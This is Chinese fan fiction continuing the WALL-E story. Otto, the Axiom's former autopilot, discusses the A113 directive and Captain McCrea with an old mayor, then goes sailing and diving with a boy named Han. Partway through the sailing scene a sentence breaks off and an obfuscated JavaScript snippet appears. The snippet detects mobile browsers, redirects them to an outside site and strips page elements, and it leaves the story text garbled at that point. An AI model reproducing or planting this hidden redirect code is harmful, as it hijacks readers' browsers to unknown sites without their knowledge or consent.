“所以现在这个指令在你这里失效了?” “对。” “嗯。”老人意味深长地闷哼了一句。”也许麦克雷舰长当时的警告是有道理的。” 红斑又移到了老人脸上。 “刚刚降落的那一阵子,地表环境的确和那段经典录像里的差不多。”镇长缓缓地说,“而且,我们的确经历了一段异常艰苦的时光。” “每一寸土地都干得发白,在阳光底下刺得每一个人都睁不开眼。一点微风就能把沙尘吹进眼睛里、鼻子里。更不要谈那少得可怜的淡水资源。一片的死寂让所有的人都在短短的半天内就破灭了所有幻想。”镇长讲述道。“热血的改造冲动并没有持续很久。最初的几个月,舰上的机器人船员为开垦地球镇作出了不可估量的丰功伟绩。…… “……最初几年几乎没有任何收成。麦克雷舰长独自顶住了巨大的压力,一面劝说人们食用公理号上留存下来的食物维持自己的生命,一面终于开始正式学习耕种的技术……” 奥托默默地听着老人讲述。虽然他已经从机器人船员那里了解了大概情况,但他现在有的是时间听。只要镇长愿意继续讲下去,他就不会打断老人。 “……公理号下方逐渐有了积水,本来之前大家都是通过抬高地垄来抵抗积水。可是2843年的大涝让所有的公理号南坡耕地都无一幸免。南坡的防风沙条件是最好的,这一个涝年却让南坡这个耕地主力遭受了灭顶之灾。当年毫无疑问遭受了严重的歉收。耕地不得不全部移到了北坡。而第二年又是旱年,连续两次的歉收让所有人又都进入到了困难时期…… “……麦克雷舰长去世之后,相对稳定的耕地才逐渐被确定下来。但是时不时的沙尘暴依然对耕地造成了极大的威胁。” 镇长讲述完了这一大段历史之后,从地上拿起那个玻璃瓶,从容地打开瓶盖饮着。夜色已经渐入佳境,凉爽的气息才从不知何处钻出来,挟带着玉米田中的植杆清香和远方淡淡的海意。 “奥托。”镇长突然发问了。“如果麦克雷还活着的时候就把你重启了,那你会继续执行A113指令吗?” 这绝对是个好问题。红色的光斑低垂在地上,停了很久。镇长静静等着身旁这个正襟危坐的人形机器人。 “可能会的。”奥托低沉地回答。 他只能够说出这一句。剩下的他再也无法回答。 如果他当时就被重启了,那么当他看到这一片荒凉和已经民心动摇的一大批人类之后,谁知道眼前震撼而惨烈的景象会不会挑动他那根最紧绷的神经呢?奥托相信大概率他会的。而剩下的事情则必然是在还有固执的舰长在世的时候又将大批人类赶回飞船。他又会面对什么样的大规模冲突?他又该如何处理? 他不敢再想下去。这个无比复杂的事情的不确定性让奥托不由得心头一凛。 所幸的是,这个事情已经过去了。他面对的已经是如此相对稳定的状况。淡水源清了不少,防风林也在这一个世纪里建了起来,保证了北坡耕地的稳定。而之前从舰桥往下望去,海湾的海水闪烁着粼粼的波光,玻璃般的蓝色标示着水质的改善。 “也许你很幸运,或者说,我们都很幸运。”镇长开口了。“我还得谢谢你这几个月来的诚恳工作。你给我们省了不少心,也帮了不少大忙。” “太客气了,镇长。”奥托回答,“这是我的本分。” “一开始的时候,包括我也对此深表怀疑啊。”镇长回答,“几乎所有人都认为你就一心想回太空。” “这是偏见。”人形机器人无奈地回答。 “哈哈,显然。”气氛缓和了很多,镇长因苍老而沙哑的声音说。“确实,你在慢慢融入这个社会了。” 听到此话后,红光猛地移动到了老人身上,然后又转向前方的玉米田。 “我最近在思考一个问题。”奥托的红色目光有些缥缈地直视前方,照着一小片玉米苗微微染上了点红色。 老人用带着询问的神情看着人形机器人。 “……关于‘生活’。”奥托说。 老人眼中闪过一丝转瞬即逝的惊异。 “就是麦克雷舰——” “对。”奥托说。 “所以你有了什么理解吗?” “我大概明白了麦克雷舰长极力追求生活的原因。”人形机器人说,“在地上的确有趣。” 老人的眼睛在空前的星光下幽幽地反着光。“有趣?” “比在舰桥里有趣。”奥托说,“舰上即使有突发状况,处理方式都按程序来。忙,但是古板。” “你觉得地上怎么有趣?”老人引导奥托讲下去。 “每天都有新东西。”奥托说,他特意把光学镜转了过来。“还有各色笑话。” “我不信以前的舰长讲不出笑话。我也不信你听不懂笑话。”老人微微一笑说。 奥托看上去好像有些尴尬。“当时我没开窍。” “现在开窍了?”镇长问,“为什么?” “这个机体提升了我的很多能力。”奥托说,“语言功能、行动能力,以及思维,都有所改进。” “其次,也应当与没有太多处理舰上事务的压力有关。”奥托随即换了一种略带嘲讽的语气说,“我退休了。” 镇长被逗乐了。 老人看了看天边,继续开口。“生活可不只是有趣。更重要的是,它给人们提供了一个挑战的平台。当年麦克雷舰长为什么总是提到生活?就是因为舰上太安逸了。人的本性就是朝挑战去啊。” “没错。”奥托说。“但我无法理解。” “现在还没法理解?”镇长有些吃惊地说,“我以为你已经明白了。” “我不懂为什么条件好的时候你们不肯老实呆着,非得去冒险。”奥托说,“这根本说不通。” “看样子你还没有领略到生活的真谛,年轻人。”老人笑了,说。 “可能吧。”人形机器人说。但是他看上去并没有在开玩笑。 他突然希望自己能够表达哪怕一点点的表情。但是他只有一张看起来像是被锁住的面孔。他只能通过改变语调和一点肢体语言来表达自己的情感。然而每一次改变都是对他的巨大挑战。因为这意味着前期要有巨大的数据积累来确保这种变化是正常的,然后还需要调整整个思维架构来彻底地说服自己这不奇怪。 在他冷冰冰的外表之下,一颗火热的灵魂开始渐渐解冻了。 夜已经深了。刚刚还有些模糊的虫鸣声开始渐渐清晰起来。忽近忽远的清脆虫鸣声在玉米田中互相追逐着;已经完全冷却下来的地面此时开始慢慢堆着潮气,它从土地的缝隙中慢慢钻出来铺开,笼罩着整个地球镇;凉爽的风也从不时造访开始渐渐连续不断地从遥远的干燥陆地朝海面吹来。 “听啊,奥托。”镇长陶醉在星空和带着醉人香气的清新植物气息中。”你听到了吗?” “虫鸣?”奥托试探着猜测道。 “嗯。”镇长闭上了眼睛。“你猜得到这是什么虫吗?” “蟋蟀。”“蛐蛐。”令奥托意外的是,他们同时说话了。 “不赖嘛。”老人笑着说,“你还知道蛐蛐。” “汉告诉我的。”奥托回答。“他还给我看过。” 老人继续闭上了眼睛。此时天上的云已经完全散了,银河的亮光灿烂地倾撒下来,把刚刚还被黑暗裹住的地上映出点点星星的反光。似有成千上万的蛐蛐鼓动着它们的音响,远近交错又和谐地奏着夜的空间交响曲。 “这就是生活啊,奥托。”老人说,“这就是生活……” 8. 七 “快点,奥托。”汉催促着人形机器人说,“你再磨蹭就来不及了。” “别催我。”奥托一开始还在忍耐着男孩的软磨硬泡,但耳边一直传来的声响让他再也忍无可忍。如果这小猴子的爪子放他身上晃,那么他别想安心写完这一段代码了。 “你还有多久?”听到奥托警告后的汉稍微收敛了一点。 “还有14行。”奥托回答的同时在操控屏上手指弹得飞快。“然后还得测试一下。” “还测试……再等就没时间了!” “4点没到,你急什么?”奥托问道。面前的全息屏上一行一行的代码飞快地向下滚动。 “过去不需要时间吗?” “你跟我讲的是:4点走。”人形机器人最后在键盘上敲击了一下,界面开始检查代码了。不到10秒钟整个架构检查完全,显示没有语法错误。在此过程中他的胸口上突然翘起了一个角。他将这一长段代码编译出来,接着奥托从那个角中扯出一段数据线,将它接入到电脑中。 不一会儿显示屏上猛地跳出一个是否通过协议的对话框,奥托立刻点下是。那个界面终于从空白变成有了东西。几个月来的努力终于有了回报。奥托暗自松了口气。 但是过了几秒他就再也放松不起来了。出乎奥托意料的是,这些东西越来越多,并且毫无规则地堆在了屏幕上,随着堆积文件数目的增多,监控室电脑的运行速度也越来越慢。每增添一个文件夹都需要越来越长的时间。这状态看起来像极了病毒攻击。而最后,显示屏上的所有数据都仿佛冻住了一般,再也没有响应。 “妙啊。”奥托感知到与自己连接的电脑沦陷在解开自己思维架构的计算圈套中了。他无奈地停止了任务,把自己从已经呆滞的电脑中拔了出来。 “行了。”奥托将文件存储复位之后从悬浮椅中站了起来。“到底什么事?” “保密。”汉坏笑地说。“不过你会喜欢的。” 人形机器人瞪了汉一眼,但什么都没说。他把监控室的灯拉灭了,然后两个身影埋没在了凌晨的黑暗中。 不知过了多久,奥托跟着汉进入了一片树林。但没多久,他好像听到了越来越响的水声。随着他们前进,一股越来越浓重的咸腥味也逐渐渗入了他们身周。奥托的疑惑越来越重,他感觉自己猜对的可能性越来越高了。但他决定等揭晓的时候再抗议。 奥托的红光终于弥散到最后几棵树的树干上。而当他们终于穿出树林,调整焦距后,呈现在奥托面前的是一片在黑暗中灰扑扑的沙滩和更远处的在月光下波光粼粼的浪潮时,眼前的一切不出意外却无情地击打在奥托的处理器中。 “你在逗我吗?”他在沙滩上停下了脚步,指着海水朝汉质问道。“你明明知道我不喜欢水。” “嗨,你都防水的,这有什么好怕的。”汉快步走向停在岸边的一大排木船。“快过来帮我。” 汉的逻辑无懈可击。奥托只得不情愿地走过去帮他把这一艘看上去小但实际上并不轻的木船朝海中推去。 虽然奥托是机器人,但是他的功率并不高。汉有些吃惊即使有奥托的帮忙这船还移动得如此费劲。他看着身旁似乎已经以最大功率推船的机器人,忍不住开口了。 “亏你还是硬家伙做的呢,结果还是一个软蛋。”他狠狠地奚落了奥托一把。 “你行你来。”奥托立刻松开了手,退到一旁。 “……诶别走……”虽然奥托的功率不大,但是他总能帮上忙。汉还是担心好事要黄,于是他不再闹了,“快推到水里,现在赶上退潮呢。”他开始竭尽全力地于奥托一起推动这个木船。 木船终于完全浸到海水里了,它在浅浅的海水中浮了起来。此时汉和奥托都已经踩在了海水里。 “快上来。”汉伸手敏捷地一下撑着船沿跳了进去。 奥托学着汉的动作要一跃而入,结果在他撑上去的瞬间,一个浪迎面冲来,船就着他的力猛地一晃,使他往后一仰,差点整个跌坐到海水里。 汉早就爬到了船头。他装上舵,正要从船舱里捡起帆布挂上桅杆的时候,突然留意到奥托居然没有跟上来。 “从船尾上来,奥托!”他看着依然踩在海水中扶着船沿正想努力稳定船只的奥托,对这个狼狈的机器人喊道,“后面不会晃!” 别看海浪貌似一击就碎,丝毫没有抵抗能力,可是一旦进入到了哪怕只有半米深的地方,不断晃动的水体就会让人深刻地体会到什么叫身不由己。周围全在以一波又一波的几乎相同方向的力冲击着身体在水中的每一个部分,每个力都很温和,但是都坚定且对任何抵抗毫不妥协。如果当进入海里的深度使重力终于顶不住了要向浮力求饶的时候,海水只需对定脚点轻轻一戳,不熟水性的人在浪中可能就会彻底站不住了。 此时正是退潮,从海滩上卷回来的回波夹着不大不小的粗粗的沙砾推着木船一步一步朝深海滑走。就刚刚犹豫加上汉的喊话那一点点时间,奥托的半个身子就陷进了海水中。 所幸,他及时伸手扒住了船尾的那条细细的木板,把自己从海水中拔了出来。汉坐在船头看着奥托的狼狈样一直在咧着嘴,笑声都埋在喉管里没发射出来。而当奥托想让自己在船舱中站起来的时候,一个波浪让他立刻打了个趔趄。 “这……太晃了。”奥托发现把两只手都固定在两边船沿的时候才不会摔倒。但这也意味着他被钉死在船上动不了了。即使这样,从未体验过的那种周围全在摇摆的感觉也让他的处理器几乎应接不暇。 “亏你还开船的呢。”汉边解开一段绳索边不忘狠狠奚落奥托一下。“你抬个脚,帆布都叫你踩住了。” 站都站不稳,还指望他抬脚? 但奥托依然在尽力给汉腾地方。他降低了重心,快速地把另一只手收回到同一边船沿后,他将两条腿蹬在另一边的船沿上稳定自己。终于他在船里坐了下来。他想着看着不动的船帆或许能减轻震动感,但是不知为什么,好像还是总有东西在晃,而且每次晃的高度、方向和频率都不一样。从未有过的不适感立刻冲击了他的处理器。 他转头看着汉,男孩似乎毫不在意这毫无规则的晃动。汉扯着一端绳子,原先皱巴巴躺在船舱中的帆布一角立刻随着绳索的牵扯向上升起。当他看见刚刚升起的一角正慢慢改变着弧度时,他才把注意力放在了刚刚毫无留意的风上。 似乎与海的退潮相呼应似的,风一改入夜时候的方向,此时正连续不断又干又冷地从地上阴阴地吹来。汉逐渐升起了整个帆,在风的作用下帆布发出了一点哔哔剥剥的声音,然后终于被完全鼓起来了。奇怪的是,此时船似乎晃得没那么厉害了。 奥托看着这帆鼓动的方向,有些庆幸自己没有坐到船的另一边。假如是那样的话,那他恐怕会被这帆鼓起来的瞬间打到水里。 汉固定好帆布后走到了船尾。奥托不露声色地看着汉的行动。而汉毫不例外也注意到了人形机器人的鱼眼镜头。 “你别太紧张了。”汉坐在船尾一侧,一手牵着帆上的绳一手扳着刚刚装上去的舵,看着在倾斜的船板中如同石块般一动不动的机器人说。“掉不下去的。” 人形机器人没有立刻答话,过了一会儿他才开口。“这晃得我有点难受。” “哎哟,晕船啦?”汉的嘴都要咧掉了。他的眼睛在黑暗中闪闪发光,“船舵晕船了,真是奇闻哟。” 晕船?奥托愣了一下。 他听说过人类的晕动症。但他没有与人类一样的半规管,更不会恶心。可是毫无定点的周围却显然让他的处理器慌了神。他本习惯先判断下一步的走向再行动,可是现在连判断都无法做到,他少有地感到了那种什么结论都没有的茫然与随之伴生的厌恶。而表现就是消极地把自己钉在船上抵制任何活动。 从晕动症定义讲,他不算晕船。但是表现和晕船简直如出一辙,除了没有人类有的恶心。 “这不对。”奥托眼中的红光渐渐消失了,“让我缓会。”他抬起一只手朝汉示意。 汉看着把手放到额头上仰着的奥托,本来很想笑,但他不知为何笑不出来。虽然一个机器人晕船听起来十分荒谬,但是当他真正看到的时候,不知为何,他还是惊讶地发现,他竟然认为这样的结果是合情合理的。 “放松,掉不下去的。”汉重复了一遍。他朝天边望了一下,然后调整了一下手上的动作,小帆船转了一个角度。接着汉往回扳了一点,小帆船以新的方向向大海深处驶去。 汉再次看了几乎横躺在帆船中央的奥托一眼,后者鱼眼镜头一片黑暗,似乎在默默地抵制什么东西。汉看着这个平时行事自如的机器人,心中竟然升起一丝怜悯。 “你要感受波浪是怎么摇摆的,方向如何,找它的规律。”汉突然惊奇地发现自己正在一字不落地陈述着当年自己父亲在自己第一次上帆船时给自己讲的话。记忆猛地翻了上来,由于挫败而积聚的液滴的冰冷触感似乎再一次点在了他的面颊上。 “把脚步放轻,好像你在甲板上跳舞一样。波浪上来的时候往下压,下去的时候好像要起跳,走路的时候看准了要去的地方盯着那里走,但是不要盯得太清楚,眼神要涣散一点,随时留意周围的变化。” 人形机器人依然保持着动作没有回答。汉见状默默叹了口气,他也不知道奥托到底听懂了没有。汉收起了笑容,开始全身心贯注在风与手上的力上。 小船已经在风的鼓动下朝大海深处越滑越远。刚刚的夜空仿佛在黑暗中陷没了一会儿,星空和月光仿佛都静滞了。但是紧接着它们全都突然活了起来。天上的星星开始继续它们缓缓的转动,月光似乎越来越暗淡,但天色不再滞黑,而是缓缓地从黑中冒出一丝丝的蓝色。蓝色逐渐扩散得越来越多,把黑色完全挤出天空后,东方的海面上开始冒出一丝火红。 在不断的摇摆中,奥托渐渐感到这摇摆似乎有些规律。他静静地感受着每一次温和但是不容分说的上抛和接下来的下坠,力量由船体下方的水传递到船接着作用到他身上,这一切都那么自然,但是结果却如此出人意料。 他重新打开了鱼眼镜头,视线与头顶的新月相对。在摇摆的船上,头顶的天空拒绝与其他事物一样顺从于海浪的推动。他静静地望着天顶,久违的空灵突然灌入了他的处理器。 以前在飞船上时,他处理完一天的事务过后,总会把舰桥的所有灯光关闭,独自在黑暗中瞪着窗外的星空。此时他感觉自己什么都不会想,就是静静地望着一切。他没有计算任何东西,也没有思考有关未来的任何问题。甚至连音频也接收不到。此时他似乎已经灵魂出窍,除了被包裹在太空中,其他的一切都仿佛隔着真空一样消失殆尽。 他终于抬起头来,朝船尾看去。汉显然早就发现奥托的变化了,但他出奇地安静,没有说任何话打扰奥托。 “我错过什么了吗?”奥托放松了身体,两只手都收了回来。他惊奇地发现现在自己能在船里活动自如了。 “天亮了点。应该没啥。”汉坐在船尾,往后看了一眼说。 奥托朝船后方望去,眼前之景让他突然彻底清醒了。陆地几乎已在天边,但是他们出发还没多久! “你说的惊喜就是这个吗?”奥托尝试着让自己在船舱内站起来。一开始还是有些不稳,但是他很快在船舱里站住了,“出来海上兜风?” “不不不,我才不会花这么大力气就出来兜个风。”汉坐在船尾懒洋洋地说,“只是想出来打打牙祭。” 奥托没有作声。他在思考什么叫”打牙祭”。 天边的那一抹火红扩散得越来越多,一直往上飘散,把旁边的几朵云也染了红色。而云尖却是明亮的金色。金色又将已经染红的天点上几道光芒,顺带着点燃了东方越来越明亮、好似泛着火光的海水,粼粼地在反着金红色的光芒。 奥托出神地望着东方的壮丽之景。他将视线定在了东方,希望把整个过程都记录下来。 “妈耶。”汉突然出了一声。他猛地站了起来,朝船左右前方使劲观望着。 人形机器人感到船震了一下,他收回视线,发现汉的脸上有种难以言说的忧虑。 “这是天亮太早了还是我们速度还是太慢了……”汉自言自语道,“礁石岛呢?” “方向错了?” “不……可能……”汉越说声音越小,显得底气有些不足,“妈耶,天全亮就完了。” 奥托决定,除非汉让他帮忙,他绝不插手任何事情。当然,目前他还能收到信号,如果有问题随时都可以联系其他机器人。而且他早已记下来他们的路线,因此只要汉没有差得太远,他们回去还是完全没有问题的。 “诶,我好像看到了。”汉支着舵,把半个身子探出船舷外。他定睛看了几眼后,好像猛然抓到一根稻草似的,猛地把舵往外偏了一下,帆船改了方向向小岛飘去。 汉是没错的。小岛就在他们左前方。让奥托有些吃惊的是,上面竟然郁郁葱葱点缀着不少绿色。 汉并没有让小船靠岸。他让小船在离小岛还有100来米的地方停住了,让奥托从船舱中拿起锚投入了水中。接着,汉当着奥托的面把衣服脱光了。 “待会你把船底下这个木板打开。”汉走进船舱中,从抽屉里拿出一个不知从哪儿捡来的潜水镜,套到了头上,“把我扔上来的东西都塞到里面。” 汉让奥托拿着浮潜镜的长管子,叮嘱他在自己入水后再轻轻放到水面上。这个管子上端插着一块泡沫板,显然是让管口保持在海水上方的。接着汉站到了船舷上,往后纵身一跃。 奥托照汉说的做了。他放完泡沫板后,禁不住朝水底看去。 在有些扭曲光线的海面下,透亮的海水一望见底。有些泛黄的海底不时散着礁石,上面长着郁郁葱葱的海草,如同一头青翠的秀发在海底随波飘荡。礁石周围似乎有点东西在随着波浪移动。奥托观察了好一阵子,发现那是鱼群。底下的水流似乎比顶端的要大一些。鱼群在礁石之间来回荡着,在这场毫不停息的水流秋千中,鱼群乘着水流来到临近的礁石上觅食,接着再搭水流顺风车飘到另一片礁石上继续它们的盛宴。 那个问题再一次浮了起来。仅仅100多年啊,生态怎么能够如此迅速地恢复? 奥托打开了船底的木板,一点水突然溅了上来。就着已经完全亮起来的光线,奥托发现底下是一个网箱,与海水相通。他彻底明白了汉的用意。 就在此时,帆船不远处的海面上传来一点骚动。奥托转过身去,汉正顶着那巨大的潜水镜浮在水上。他一只手似乎在水里抱着什么,用另一只手使劲划着水朝帆船游来。 “接着。”他吐出口中的含嘴,把手中的一大捧东西往船舱中央丢去。”你找找那个抽屉,给我个网兜。” 奥托把网兜丢给汉后,就开始收拾船底的狼藉。他把丢在船底的这些东西都放到了网箱。在此期间,他没有忘记仔细看看汉捞上来的究竟是些什么玩意。 汉的战利品主要都是些贝类。其中还有一些褐色的海藻。在网箱中,有壳的生物此时都紧紧闭着自己的壳,像鹅卵石一样在网箱中随波摇晃。 此时仍是夏日,东方的太阳才刚刚露出水面,就给整个海面撒上了金红色的炽热烈焰。不多一会儿,太阳就从水上一跃而起,炽烈的阳光迫不及待地把它如同剑一般的刺眼光线发散到地表上的每一处,对任何出于它势力范围的物体开始加热。远方陆地上巨大的公理号也染上了些许金红色,在晨雾中迷蒙着身影。小帆船在海波中不断温和地晃动。风帆此时不再像刚刚那样一直鼓着了,而是时不时地左右鼓动,发出清脆的仿佛旗子飘荡的鼓剥响声。 奥托沐浴在金色的阳光中。他发现海上的霞光似乎比之前在陆地上看到的更红。他走到船尾,稍稍动了一下那个看上去就是个桨的船舵,接着仔细观察了木船的结构。船舱底部放着4个桨,前头嵌着柜子,两边各有一条木杆将船舷固定住。桅杆直直地立在船头。而靠近船尾的地上是一个大网,此时它还没有派上用场。 海面上又一次冒起了气泡,这次汉在水中的时间比上次长了很多。他朝帆船游过来,这次奥托发现他游得有些费劲。 “帮我提上来。”在水中汉有些费劲地说着。奥托探身出去把这个鼓胀的网兜提了回来。里面的战利品满满当当:不仅有贝类和海菜,甚至还有一条个头不小的鳗鱼。 汉再次潜入水中。天已大亮,船舱内的海水很快就给蒸干了,留下一层薄薄的白色盐结壳。奥托身上也不例外。刚刚褪去红色的太阳现在彻底放出它的白色耀眼光芒,小船的温度一路急剧上升,船舷开始略略有些烫手。 奥托大概明白了汉急着催他出发的原因。他开始还借着船帆的阴影暂时乘凉,可是小船在不断地变换方向,帆也随着风左右鼓动。他在船头的柜子里翻找着,找到一件有些脏兮兮、原先应当是白色的大布衣。奥托把这件衣服套到身上,让自己的外壳不要升温太快。 说实话,一个人待在船里等待挺无聊的。他现在还没有与公理号资料库相连,也不想在通讯系统里聊天。此时海水在阳光的照耀下比刚刚更加通透了。不太深的海底毫无保留地把自己的美丽面貌呈现给海面上的世界,向外界的一切发出热情的邀请。 他检查了下时间,汉才刚下去没多久。他这次应当不会很快就上来。 当一个硬件自检完成信息反馈回来的时候,奥托猛地回过神来。他把视线从清澈透亮的海水中猛地抽了回来,定在了对面船舷上。他甚至感到自己好似在发抖。 我到底在想什么?他在震惊中问自己。这明明就是在自杀。 等等……为什么会想下去? 他再度朝船舷外的海水望去。浅蓝色的海平静得如同湖水一般,几乎倒映着天上的云,又清澈得不可思议。 就在刚刚,他还对水充满厌恶。 我这是怎么了?他问自己。有什么东西让他觉得他不应该贸然尝试。但同时另外一股力量却把他拉向冒险的边缘。 他本应当严谨行事。 为什么会如此强烈地想下到水里看看?这一点都不符合逻辑。 奥托把视线在极其清澈的海水和阳光下无比清晰的小岛间移动着。 他找到了一个可能的理由,但是他认为这是找借口。现在根本不是要调查生物量的时候;他还有任务在身;就算需要,他也完全可以派一个被设计成专门进行水下探测的前船员下来看,根本不需要他自己冒着可能漏水的风险下去。 最后他还是没有下去。即使他可以给汉留张纸条,他也把这个构想给压了下去。 汉再一次冒出头。他将那一网兜东西交给奥托后,从船尾撑上了船。 男孩没有马上穿上衣服,他只是一屁股坐在了船尾,沐浴在已经有些白刺刺的阳光里。他瞪着在帆角阴影里的奥托,咧开了嘴。 “哇呜。”汉上下打量了一番奥托说道,“你还知道什么叫时尚啊。” “这就是你们的时尚吗?”奥托说,“品味这么差。”他毫不犹豫地嘲讽道。汉的潜移默化终于派上了用场。 “……”汉一下子被噎住了。他没想到奥托冷不防来了个嘲讽。笑容在他脸上僵了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706274|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 “不下去了?”奥托问在船尾坐着的汉。 “再捉回去吃不完了,要坏的。”汉说。过了一会儿他加了一句。“诶嘛,这都啥时候了,水底下还那么冷。” 汉坐在船尾晒了好一会儿太阳,感觉身上干得差不多了才走进船舱穿上衣服。安静得有些可怕。汉走下来的时候才意识到。他刚刚一直在船尾懒洋洋地摊着,心思全放到让自己的鼓膜和被压迫的胸部慢慢缓过来上了。他不由得瞟了一眼在船舷旁坐着的人形机器人。 “我说你咋总是盯着水瞧啊?”汉说道,“根本掉不下去。就算掉下去,也不深。” 奥托早就估算过深度,差不多20英尺呢。但是他没有回答汉的问题。 乱摆的风逐渐定了方向。虽然还是一阵一阵的,但它们的方向都开始变得似乎矢志不渝。汉仰起头伸开双臂,感知了一下风向后,他让奥托把沉在水底的锚起了上来。然后他回到船尾,将桨一摆,船帆忽地一下鼓满了风,他们要回去了。 “汉。”起航后不久,奥托开口了,“我可以掌会舵吗?” “当然可以。”汉挪出一个位置。“你先就这么抓着。”他让奥托抓住了舵的把手。 帆船一直鼓满帆朝远方的大陆接近,全部的阻力可全都压在这小小的桨上。他尝试着左右移动了一下,作用在桨上的力立刻就变了。与此同时,鼓起来的帆猛然扁了一些,发出哗哗啵啵的声音。 “诶。”半躺在船头的汉突然发问,“当年飞船变方向是不是和这个差不多的?” 奥托沉默了一会儿,他在把几乎要蒙灰的记忆捞上来。 “不一样。”奥托回答。“首先太空里没有阻力。其次也不可能这样操控——什么都感觉不到,只是计算,输入数据。仅此而已。” 小船飞速接近陆地。公理号巨大的白色船身白刺刺地反射着阳光,几乎和太阳一样耀眼。汉眯着眼睛盯着海岸线。旁边也有一些在海上的帆船,方向各异。不过汉敢说,大部分都是要回来岸边的。 汉走到船尾,正要告诉奥托什么时候动起桨让船减速,机器人自己把桨偏了一些,小船的帆扁了一点,可以明显感到速度没那么快了。 “嘿。”汉瞪了奥托一眼,“没必要现在减速。再飘一会儿还行。” “现在不减速,等下要撞沙滩。” “这就是你不懂了。”汉认真地说,“岸边的水和这里的不一样,它们会自动拖慢我们的船的。” 快接近岸边的时候,汉让奥托起了桨。当奥托正要转身走进船舱的时候,男孩趁人形机器人不注意,使劲给了机器人背后一下。然后他大笑着被一个巨大的水花溅透了衣服。 机器人的时间是以毫秒计算的。刚入水的一刹那,奥托一点都不恼怒。相反,他竟然有一丝如释重负。 浅海的水很清。但是比不上礁石岛附近的那样清澈。四面八方的凉意立刻把他包裹得严严实实。而这凉意开始疯狂攻击他身上的每一个缝隙,发誓要把每一缕畏缩藏着的空气赶出它们的地盘。 无法分辨是扑入水中卷起的还是他身上自己的气泡终于把他从嘈杂的气泡笼子里解放出来后,扬着细沙的水底提前将一些细碎的沙砾拍到了他的脸、手臂和腿上。仿佛还在太空低重力的环境中一样,他以比在地上缓得多的速度趴到了满是沙子的水底。一股水流不由分说地涌上来,扬起前方深一些的水底的沙子,将他的金属手指半埋了起来。跟着这股水流的是头顶上传来的闷闷的海浪声。比岸上听到的虽然低沉,但是带着无法言明的穿透力向海底清晰地传递着水与水碰撞的信号。 他没有降下可以保护他的鱼眼镜头的遮光板,任由沙子拍到他的金属面孔上。水下的光线比在岸上昏暗了一些,一切都仿佛透着一大块正在晃动的琼胶冻一般,给水底的沙子上投射出渔网般的影路。刚刚还被重力压在水底的他马上被这一波水流给又从海底托了起来,而且水流速度还在加快。他就着这股劲迅速地在水中立了起来。但是距离水面还有一点点距离。 刚刚还对自检结果充满的怀疑此刻已经消失殆尽。在他自己都意识不到的时候,他的机体已经自动锁紧了一切可能与外界有所交流的接口外罩,就像穿山甲或者蛇的鳞片一般。他相信哪怕自己使劲给自己下命令,那些精密的微马达都不会放松一丝一毫。他在海床上使劲蹬了一下,就像在月球上起跳一般冲向了水面。 “你这个混蛋!”他使劲划动双臂,让自己在不至于沉下去的同时接近已经前行好几米的帆船。不像人类,他并不需要换气。“你完了!” 男孩则在帆船上笑得前俯后仰,手舞足蹈地在船上蹦跶了起来。 也就前进几米的距离,水底的海拔就惊人地拔高了。奥托半身浸在海水里,朝帆船走去。汉这次从船前头跳到了船的侧面。他迅速地踏水跑上岸,把手中的绳子使劲往岸上拉。他想借着海浪和船的余速把帆船拖上岸来。奥托和汉越来越有默契了,机器人没有急着上来和男孩杠,而是在船尾踩在水里使劲地推着小船。 “需要帮忙吗?”一个男人的声音突然在汉耳旁响起。 汉吓了一跳。不过他知道这是刚刚渔获回来的另一个出海的人。他欣然把绳子头交给男人,与这个有着古铜色皮肤的壮硕男子一起往岸上使劲拉拽。 当男子把绳子拴好在沙滩上的桩子上时,男人发问了。 “就你一个出海吗?”男人怀疑地上下扫了一下这个瘦弱的男孩。 “不,还有一个,他在后面帮忙。”汉向帆船背后望了望。人形机器人从船尾的浅海走上来,银色的金属身躯反射着海边猛烈的阳光。 男人眯着眼睛抵御猛烈的阳光,他盯着那个向他们走过来的金属身影好一会儿。然后他收回视线面对着汉。男孩发现男人的眼睛里充满了刚刚根本没有的严峻。 “那是他?公理号上的自动驾驶?”男人的神色虽然严肃,但是话语却没有那么咄咄逼人。也许他把警惕给压住了。 “对。”汉回答,“有什么问题吗,他是个好人。” 男人严肃地看着汉好一会儿。他蠕动了一下嘴唇,但没有出口。“海上不欢迎机器人。”他最后说了这样一句,然后大步离开了。 汉望着男人的背影叹了口气。他踢着沙子朝帆船走去。奥托重新踏进了船舱。底部网箱还有汉捕捞来的战利品。 “我听见你们的对话了。”人形机器人低沉地说。然后他沉默地从网箱中把沾满沙子的海产捞进船舱。 “呐,神经别太过敏了,没什么的。”汉踏进了船。当他看见沾满沙子的海产的时候,男孩使劲一拍脑门。 “老天爷,我应该先把它们捞到船舱里再拖船上来。”汉懊悔地说,“我还没有簸箕!这是要洗死我……” 汉拿询问的神色看着奥托,没想到后者一眼看穿了他的想法。他刚一开口,奥托就打断了他。 “别看我。”人形机器人说,“看在你刚刚推我下去的份上,我不会帮你洗。” 汉的脸一下子垮了下来。他看了人形机器人一眼,后者站在船头叉着手,似乎在幸灾乐祸。汉默默地把船舱里的海产品捡进箩筐里,刚跨出小帆船,一个念头突然轰炸在了他的脑海里。 哎哟,真是傻瓜!汉懊恼地想着。再怎么地,奥托他——也只是个机器人! 只要他强硬一点下命令,他不信奥托还会拒绝他的请求。 但是……但是为什么…… 不知为何,他就是觉得不应该下这个命令。即使奥托说得好像有点道理,但那只是在利用道德来要挟他。人与人之间才讲道德平等。奥托……跟他讲什么道德?! 在海边冲洗的时候汉快速设想了一下假设是别的机器人会怎么做。他发现根本无法想象——别的机器人根本不会这样和他互动。他们虽然显然有自己的想法,但是对他一律都是不冷不热的态度。他们也不可能要挟汉。 所以……为什么…… 为什么会时常把他当成一个人? 他明明是所有机器人中最不像人的一个…… 汉的余光瞟到帆船似乎有些变化。转头,人形机器人正在把帆船的帆给降下来。男孩此时感到有些五味杂陈。也许我本来就不应该想机不机器人的事…… 